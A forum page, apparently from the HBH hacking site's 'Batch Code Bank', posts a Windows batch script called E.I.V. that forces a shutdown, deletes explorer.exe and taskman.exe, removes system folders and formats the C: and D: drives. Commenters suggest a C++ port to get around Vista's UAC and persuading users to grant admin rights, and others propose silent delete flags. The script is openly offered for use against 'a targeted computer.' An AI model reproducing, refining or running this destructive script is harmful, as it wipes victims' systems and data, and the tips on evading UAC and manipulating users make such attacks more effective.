Welcome to HBH! If you have tried to register and didn't get a verification email, please using the following link to resend the verification email.

E.I.V. - Batch Code Bank


E.I.V.
Totally kills a computer, and leaves a nice pop-up before the restart! Sadly, it only works on XP and before. Vista prompts a verification message. Very basic batch.
                shutdown -s -f -t 120 -c "Enter your message here, and maybe your alias."
DEL C:/WINDOWS/EXPLORER.EXE
DEL C:/WINDOWS/TASKMAN.EXE
rmdir C:\DocumentsandSettings
rmdir C:\ProgramFiles
rmdir C:\WINDOWS
format C:\ -x -q
format D:\ -x -q
            
Comments
E-Bomb's avatar
E-Bomb 15 years ago

Sorry it is so basic. I do not have much time to do batch coding, as I am doing…other…things. I might work on updating it to work on Vista, and maybe even Windows 7, too, but not right now.

The use of this code is at your own free will. Any damage that results to your computer or a targeted computer is totally your fault. I cannot be held responsible for loss of personal equipment.

yours31f's avatar
yours31f 15 years ago

You should try it in c++, so that in vista you could emulate an enter key being pressed. Very basic, but overall a good concept.

E-Bomb's avatar
E-Bomb 15 years ago

That was the general idea. I was planning on doing it in a different systematic language. Thanks for the feedback, mate. I enjoy other's points of view. Glad you like it.

E-Bomb's avatar
E-Bomb 15 years ago

Update:

I started working on the C++ code today, but it is proving impossible as the UAC in Windows OS is designed to prevent things like emulating an "enter" key. The only other way I could think of formatting this is simple:

The only way that this would work is if the BAT/C++ code had gained Admin rights on Windows Vista/ Windows 7. The user would have to agree with this, and as such, it could be hard for them to be persuaded to agree to something so…unknown…to them.

It is the purpose of UAC to not let ANYTHING run without the aproval of the user, so that nothing can change on the computer without the user having allowed it first. And as such, it would be the users fault if something did, verily, happen. But, I'll continue to work on this, and see what I cannot concoct. Until then, have fun with this POS.

Ayr4's avatar
Ayr4 15 years ago

Maybe you could use del C:/windows/explorer.exe /Q

E-Bomb's avatar
E-Bomb 15 years ago

You're such a smart ass, Mosh…

ghost's avatar
ghost 14 years ago

Haha MoshBat :P

ghost's avatar
ghost 14 years ago

you can use del /q, it is suposed to dont show the message